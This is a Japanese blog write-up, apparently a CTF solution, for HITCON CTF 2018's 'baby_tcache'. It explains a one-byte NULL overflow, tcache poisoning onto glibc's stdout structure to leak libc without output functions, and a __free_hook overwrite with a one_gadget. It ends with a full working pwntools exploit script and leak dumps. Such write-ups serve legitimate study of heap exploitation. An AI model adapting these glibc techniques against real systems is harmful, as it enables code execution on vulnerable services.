newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn8.2】 baby_tcache - HITCON CTF 2018: 無理やりの出力

 

keywords:

非定数出力なし, tcache poisoning, _IO_write_ptr

 

 

0: 参考

 

ptr-yudai.hatenablog.com

 

vigneshsrao.github.io

 

問題ファイル

 

github.com

 

 

1: イントロ

2018 HITCON CTF の問題 "baby_tcache"

これ本当にbabyレベルか?

 



2:概要と脆弱性

$ file ./baby_tcache 
./baby_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=568b13c1c82f696eeea89967a57a43eaf6bbec5b, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

libc2.27が配布されている

 

 

問題は教育用といった感じで以下の機能が提供されている

$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊      Baby Tcache      🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. New heap           $
$   2. Delete heap        $ 
$   3. Exit               $ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice: 

 

 

1: ユーザ入力サイズだけmallocしてそのアドレスとサイズをグローバル変数に保存

 1度だけそのサイズ分入力ができ最後のバイト+1はNULL終端される

2: 入力データを(何故か0xdaで)クリア + そのbufをfree()

 + 保存したbuf addrとsizeをゼロクリア

 

 

 

sizeバイト目をNULL終端するため

1byteのみのNULL overflowができる

 

 

ヒープ系の問題であることは確かだが

最大の特徴はヒープのデータを出力する機能が一切ないこと




 

4:exploitの概要

 

leakの出力の概要

1byteのNULL overflowだけ

しかもフォーマット指定子を用いた出力が一切ないという状況で

shellをとることができるというのに、理解した当初は結構びっくりした

感動する一歩手前まで行った気がする

 

 

まずはこの出力機能がない状況で

libcのベースアドレスをleakすることを目指す

詳しくは参考の[0]番目を参照のこと

 

標準出力はlibc内で定義されている_IO_FILE stdoutによって制御されている

struct _IO_FILE
{
  int _flags;                /* High-order word is _IO_MAGIC; rest is flags. */
  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;        /* Current read pointer */
  char *_IO_read_end;        /* End of get area. */
  char *_IO_read_base;        /* Start of putback+get area. */
  char *_IO_write_base;        /* Start of put area. */
  char *_IO_write_ptr;        /* Current put pointer. */
  char *_IO_write_end;        /* End of put area. */
  char *_IO_buf_base;        /* Start of reserve area. */
  char *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
  struct _IO_marker *_markers;
  struct _IO_FILE *_chain;
  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

 

今回この中で重要なのは _IO_write_ptr, _IO_write_base, _IO_write_end である

出力bufにデータを書き込む際には _IO_write_ptrの先に書き込み

出力する際には以下のようにされている

  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
                         f->_IO_write_ptr - f->_IO_write_base);

 

第2引数では出力する先頭が、第3引数では出力するバイト数が指定されている

 

すなわち_IO_write_ptrを大きくするか_IO_write_baseを小さくすることで

次の出力時に本来出力されるはずではないサイズが出力bufから出力される

 

これによって有用な情報をleakすることができるようになる

これを用いてlibcのアドレスをleakしていく

 



tcache poisoning: 任意のアドレスにchunkを置く

以降は時系列的に話を進めていく

先程まででstdout->_IO_write_ptrを書き換えればleakができそうということを述べた

よってstdout上にchunkをつくることを考える

 

chunkを以下のように割り当てる

f:id:smallkirby:20190927184915p:plain

 

A~Fをまとめてひとつのchunkとしてunsortedbinにつなぎ

それと同時に内包されているchunkを操作してtcacheのfdを書き換えていく

 

まず先にchAをfreeしてunsortedに繋ぐ

次にchEをfreeし

直後にtcacheに繋がったchEを取ってきて

chFのprev_sizeを 0x510+0x70+0x80+0x90+0x70=0x700にしておく

その際前述のNULL overflowでchEのPREV_INUSEを下ろす

(chFのサイズが変わらないようにサイズは0x600で割り当てておいた)

 

次にchFをfreeする

この時以下のコードに従って処理される

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

 

chFのPREV_INUSEとprevsizeは先程いじっておいたから

p = chun_at_offset(p, - ( ( long ) prevsize))によってpはchAを指すようになる

これによってchA~Fを1つのunsortedとして繋ぐ

その後次に備えてchB(unsortedに内包)をfreeしてtcacheに繋ぐ

 

 

f:id:smallkirby:20190927191818p:plain



続いて0x510のchunkを割り当てる

このchunkは先程作った(偽の)unsorted chunkから切り出される

この際に切り出して残されたchunkの先頭、

すなわちchBのfdにはmain_arena内のunsorted binsが書き込まれる

 

続いて残ったunsorted chunkから適当なサイズ(0x90)を切り出す

このユーザスペースはchBのfd~に該当する

unsortedから見ればchBはunsortedに繋がっていないが

tcacheには繋がっていることに注意する

 

さて、ここで書き換えるfdの値だがstdoutのアドレスにしたい

今回はASLRではあるがlibc内のoffsetは不変であり

故にmain_arenaとstdoutのoffsetも不変でアドレスの下2byteのみが異なっている

更にASLRが有効であってもlibc配置の下3 nibbleは不変である

よって下から4nibble目の1 nibbleだけを推測する

4bit brute-forceでstdoutの値を当てることができる

 

 以下はstdoutのアドレスを当てられたと仮定して話を進める

 

 

これまででtcacheがstdoutを指すようにしたため

stdout上にchunkを割り当てる

この時書き換える値は

flags=0xfbad2887 (magic_number | 諸々のフラグ)

_IO_read_(base | ptr | end) = NULL

にする

 

肝心の_IO_read_baseをどう書き換えるかだが

vanilaな状態でどこを指しているかを確認してみると

 

pwndbg> x/20gx 0x7f0587c60760
0x7f0587c60760 <_IO_2_1_stdout_>:	0x00000000fbad2887	0x00007f0587c607e3
0x7f0587c60770 <_IO_2_1_stdout_+16>:	0x00007f0587c607e3	0x00007f0587c607e3
0x7f0587c60780 <_IO_2_1_stdout_+32>:	0x00007f0587c607e3	0x00007f0587c607e3
0x7f0587c60790 <_IO_2_1_stdout_+48>:	0x00007f0587c607e3	0x00007f0587c607e3
0x7f0587c607a0 <_IO_2_1_stdout_+64>:	0x00007f0587c607e4	0x0000000000000000
0x7f0587c607b0 <_IO_2_1_stdout_+80>:	0x0000000000000000	0x0000000000000000

 

_IO_write_baseの下1byteを0に書き換えるから0x7f0587c60700辺りを見てみると

 x/32gx 0x7f0587c60700
0x7f0587c60700 <_IO_2_1_stderr_+128>:	0x0000000000000000	0x00007f0587c618b0
0x7f0587c60710 <_IO_2_1_stderr_+144>:	0xffffffffffffffff	0x0000000000000000
0x7f0587c60720 <_IO_2_1_stderr_+160>:	0x00007f0587c5f780	0x0000000000000000
0x7f0587c60730 <_IO_2_1_stderr_+176>:	0x0000000000000000	0x0000000000000000
0x7f0587c60740 <_IO_2_1_stderr_+192>:	0x0000000000000000	0x0000000000000000
0x7f0587c60750 <_IO_2_1_stderr_+208>:	0x0000000000000000	0x00007f0587c5c2a0
0x7f0587c60760 <_IO_2_1_stdout_>:	0x00000000fbad3887	0x0000000000000000
0x7f0587c60770 <_IO_2_1_stdout_+16>:	0x0000000000000000	0x0000000000000000
0x7f0587c60780 <_IO_2_1_stdout_+32>:	0x00007f0587c60700	0x00007f0587c607e3
0x7f0587c60790 <_IO_2_1_stdout_+48>:	0x00007f0587c607e3	0x00007f0587c607e3
0x7f0587c607a0 <_IO_2_1_stdout_+64>:	0x00007f0587c607e4	0x0000000000000000
0x7f0587c607b0 <_IO_2_1_stdout_+80>:	0x0000000000000000	0x0000000000000000
0x7f0587c607c0 <_IO_2_1_stdout_+96>:	0x0000000000000000	0x00007f0587c5fa00
0x7f0587c607d0 <_IO_2_1_stdout_+112>:	0x0000000000000001	0xffffffffffffffff
0x7f0587c607e0 <_IO_2_1_stdout_+128>:	0x000000000a000000	0x00007f0587c618c0
0x7f0587c618b0 <_IO_stdfile_2_lock>:	0x0000000000000000	0x0000000000000000
0x7f0587c618c0 <_IO_stdfile_1_lock>:	0x0000000000000000	0x0000000000000000

 

0x7f0587c60708に_IO_stdfile_2_lockのアドレスが入っている

chunkのサイズ的にあまり先まではリークできないためここではこれをleakすることにする

 

 

_IO_stdfile_2_lockは以下のようにlibc内で定義されている

  static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \

staticゆえ実行するまでシンボル情報は見れないためgdb内でlibc内のoffsetは計算しておく

 

 

さて、こうしてwrite_baseを_IO_stdfile_2_lockを指すように書き換えたところで出力は以下のようになる

\x00\x00\x00\x00\x00\x00\x00\xb0\x18
\x11u\x7f\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x80�	u\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0�	\x11u\x7f\x00\x00\x878\xad�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07
\x11u\x7f\x00\x00�
\x11u\x7f\x00\x00�
\x11u\x7f\x00\x00�
\x11u\x7f\x00\x00�
\x11u\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�	u\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊      Baby Tcache      🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. New heap           $
$   2. Delete heap        $ 
$   3. Exit               $ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice: $  

 

無事に_IO_stdfile_2_lockのアドレスをリークできた

これをもとにしてlibc baseとone gadget-RCEと__free_hookのアドレスを計算しておく

 

 

続いて__free_hookの上にchunkを作る

まずchDをfreeしてtcacheに繋いだ後、unsortedbinから0x60切り出す

これによってchDのfdにmain_arena+xxのアドレスを書き込む

さらに0x0x40をunsortedから切り出してchDのfdを__free_hookの値に書き換える

 

f:id:smallkirby:20190927200844p:plain

 

 

 

ここで割り当てた保持chunk数が最大に達するため

一番最初にconsolidatingを避けるためだけに用意していたchGをfreeしてエントリスペースを空けておく

 

あとはGOT_overwriteするだけである






5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./baby_tcache"

rhp2 = {'host':"localhost",'port':12800}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

malloc_max = 0x2000
entry_count = 0 #entry is limited to 0x9

def alloc(conn,size,data):
  global entry_count
  if entry_count==0xa:
    print("OVER MAX ALLOC ENTRY")
    print("PRESS KEY AND EXIT")
    raw_input()
  else:
    entry_count+=1

  if malloc_max<=size:
    print("[x]too large malloc. EXIT")
    exit(1)
  conn.recvuntil(": ")
  conn.sendline("1")
  conn.recvuntil(":")
  conn.sendline(str(size))
  conn.recvuntil(":")
  conn.send(data)

def delete(conn,ix):
  global entry_count
  entry_count -= 1
  conn.recvuntil(": ")
  conn.sendline("2")
  conn.recvuntil(":")
  conn.sendline(str(ix))

failure_count = 0
offset__IO_stdfile_2_lock = 0x3ed8b0 #libc2.27
offset_onerce = [0x4f2c5,0x4f322,0x10a38c] #[1]:constraint rsp+0x40==NULL
offset_free_hook = 0x3ed8e8

def exploit(conn):
  global failure_count
  global entry_count
  entry_count = 0
  _IO_CURRENTLY_PUTTING = 0x800 #flags for _IO_FILE structure
  _IO_IS_APPENDING = 0x1000
  
  #allocate chunks
  alloc(conn,0x500,"A"*0x500) #0
  alloc(conn,0x60,"Q"*8) #1
  alloc(conn,0x70,"R"*8) #2
  alloc(conn,0x80,"S"*8) #3
  alloc(conn,0x68,"B"*0x8)   #4
  alloc(conn,0x5f0,p8(0xff)*0x5f0) #5
  alloc(conn,0x30,"D"*0x8) #6 to avoid consolidating with top_chunk

  #overwrite #5's PREV_INUSE
  delete(conn,0)
  delete(conn,4)
  alloc(conn,0x68,"E"*0x60 + p64(0x510+0x70+0x80+0x90+0x70))  #0  #overwrite PREV_INUSE

  #consolidate chunks and make a big chunk
  delete(conn,5)

  #connect #1 to tcache
  delete(conn,1)

  #overwrite #1's fd with main_arena+xx
  alloc(conn,0x500,"F"*0x500) #1

  #overwrite #1's fd(main_arena+xx) 's low 2byte (16bit brute-force)
  alloc(conn,0x60+0x20,p16(0x0760))
 
  #get chunk on stdout 
  alloc(conn,0x68,"H"*8)
  alloc(conn,0x68,p64(0xfbad2887|_IO_CURRENTLY_PUTTING|_IO_IS_APPENDING) + p64(0)*3 + p8(0)) #4

########################################################
  #try til &stdout's fourth nibble == 0x0

  temp = conn.recv(1)
  if temp=="$" or temp=="r":
    failure_count += 1
    print("ERROR PRONE: "+hex(failure_count))
    if(failure_count > 0x30):
      return
    conn = remote(rhp2["host"],rhp2["port"])
    exploit(conn)
####################################################

  #calc some addrs
  conn.recv(7)
  _IO_stdfile_2_lock = unpack(conn.recv(8))
  libc_base = _IO_stdfile_2_lock - offset__IO_stdfile_2_lock
  onerce = libc_base + offset_onerce[1]
  free_hook = libc_base + offset_free_hook
  print("_IO_stdfile_2_lock: "+hex(_IO_stdfile_2_lock))
  print("libc base: "+hex(libc_base))
  print("one gadget rce: "+hex(onerce))
  print("free_hook: "+hex(free_hook))

  
  #connect #3 to tcache
  delete(conn,3)
  #overwrite #3's fd with main_arena+xx
  alloc(conn,0x70-0x20,"I"*8)
  #overwrite #3's fd to ...
  alloc(conn,0x40,p64(free_hook))


  #allocate chunk on free_hook and overwrite with one_gadget RCE
  alloc(conn,0x80,"K"*8)
  ##
  delete(conn,6) #to make a space, delete the chunk which was intended to avoid consolidating with tcache
  ##
  alloc(conn,0x80,p64(onerce))

  #invoke free_hook and invoke one_gadget RCE
  conn.recvuntil(": ")
  conn.sendline("2")
  conn.sendline("0")
  raw_input("PRESS ANY KEY. GOT SHELL?")
  conn.sendline("cat /flag")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()



結果

 

f:id:smallkirby:20190927205755p:plain






6: アウトロ

わーい

わいわい、わーいわいわい

わーーーーーーーい






続く・・・